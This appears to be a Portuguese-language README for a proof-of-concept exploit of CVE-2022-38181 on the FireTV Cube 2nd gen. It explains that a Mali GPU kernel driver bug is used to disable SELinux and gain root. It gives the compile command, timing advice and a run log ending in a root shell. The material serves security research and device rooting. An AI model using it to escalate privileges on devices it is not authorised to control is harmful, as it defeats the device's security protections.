
CVE-2022-38181 POC for FireTV 2nd gen Cube (raven)
Este é um fork do POC para Pixel 6 do pesquisador de segurança Man Yue Mo (Pixel 6 POC) para CVE_2022_38181. Leia seu artigo detalhado sobre a vulnerabilidade aqui. Foram feitas alterações para considerar o userspace de 32 bits do FireOS, bem como as versões mais antigas dos drivers Bifrost (r16p0) e do kernel Linux (4.9.113) do Cube de 2ª geração. O POC explora um bug no driver do kernel ARM Mali para obter execução arbitrária de código no kernel, que é então usado para desabilitar o SELinux e obter root.
Usei o seguinte comando para compilar com clang no ndk-21:
android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/armv7a-linux-androideabi30-clang -DSHELL mali_shrinker_mmap32.c -o raven_shrinker
O exploit deve ser executado 30-90 segundos após o Cube inicializar para maior confiabilidade.
raven:/ $ /data/local/tmp/raven_shrinker
fingerprint: Amazon/raven/raven:9/PS7624.3337N/0026810845440:user/amz-p,release-keys
failed, retry.
failed, retry.
failed, retry.
failed, retry.
region freed 80
alias gpu va 100c85000
read 0
cleanup flush region
release_mem_pool
jit_freed
jit_free commit: 2 0
Found freed_idx 2
Found pgd 23, 100cce000
overwrite addr : 104100634 634
overwrite addr : 104300634 634
overwrite addr : 1041001c4 1c4
overwrite addr : 1043001c4 1c4
result 50
raven:/ #